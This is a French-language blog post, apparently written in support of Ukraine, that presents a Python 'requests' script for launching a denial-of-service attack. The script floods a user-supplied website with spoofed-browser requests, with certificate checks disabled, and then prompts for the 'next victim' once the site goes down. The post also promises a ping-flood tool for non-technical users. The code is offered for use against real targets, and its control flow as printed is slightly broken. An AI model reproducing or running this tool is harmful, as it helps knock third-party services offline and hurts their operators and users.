Bonjour à tous ! Un petit post aujourd’hui, inspiré par la situation actuelle. Nous allons expérimenter avec des attaques DOS en utilisant la bibliothèque requests en Python.
Pour commencer — qu’est-ce qu’une attaque DOS ? C’est créer une situation où, soit individuellement (pas très efficace avec les puissances de calcul actuelles), soit collectivement (oh oui !), nous générons une charge sur le serveur cible. Un grand nombre de requêtes force le serveur à allouer des ressources pour répondre, ce qui finit par le surcharger et l’empêcher de traiter les requêtes qui comptent vraiment. Alors, voyons comment créer ces requêtes ! 🙂
La logique du code d’aujourd’hui est très simple : nous envoyons une requête à un site web et essayons de récupérer le code complet de la page qui nous intéresse. Une petite chose, mais quand il y en a un million — le site commence à ralentir et finit par ne plus fonctionner correctement. Pour notre ordinateur et notre connexion, c’est une charge à peine perceptible.
Voici un exemple du code ci-dessous (et oui, merci à mon abonné Lev, qui est actuellement à Kyiv, pour les tests et les commentaires. La situation est très difficile là-bas, mais il garde son optimisme — un grand respect pour ça !) :
import requests # nous avons importé la bibliothèque requests (j’en ai parlé <a href="https://lavrynenko.com/?s=requests" rel="noopener" target="_blank">plusieurs fois</a>) def get_link(): # Créer une fonction qui récupère le lien du site cible link = input(str('Lien : ')) get_content(link) def get_content(link): # Créer une fonction qui va générer les requêtes vers le site cible i = 1 while True: try: r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False) # Faux en-tête de navigateur r_answer = r.content # Créer une variable contenant le code source de la page print('Paquets envoyés :', i) # Afficher les statistiques i = i + 1 except: print('Il semble que le site', link, 'soit hors service. Vérification supplémentaire...') # Est-il down ? Vérifions pour être sûrs :) try: r = requests.get(link, headers={'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/69.0'}, verify=False) r_answer = r.content print('Clairement down :) Choisissons la prochaine victime.') # Clairement down. Choisissons la prochaine victime ? :) get_link() except: print('Clairement down :) Choisissons la prochaine victime.') get_link() while True: get_content(get_link()) get_link()
Merci pour votre attention ! Comme toujours — si vous avez des questions, écrivez-moi par e-mail ou sur Telegram.
Demain, je vais essayer de publier une version d’un attaquant simple basé sur des requêtes Ping sous forme d’application desktop (le problème des utilisateurs d’ordinateurs modernes, c’est que la plupart ne savent pas du tout utiliser la ligne de commande). Gloire à l’Ukraine !
Support the Blog!
Running a blog takes a lot of effort, time, and passion. Your donations help improve the content, inspire new ideas, and keep the project going.
If you’ve enjoyed the blog’s materials, any support would mean the world to me. Thank you for being here! ❤️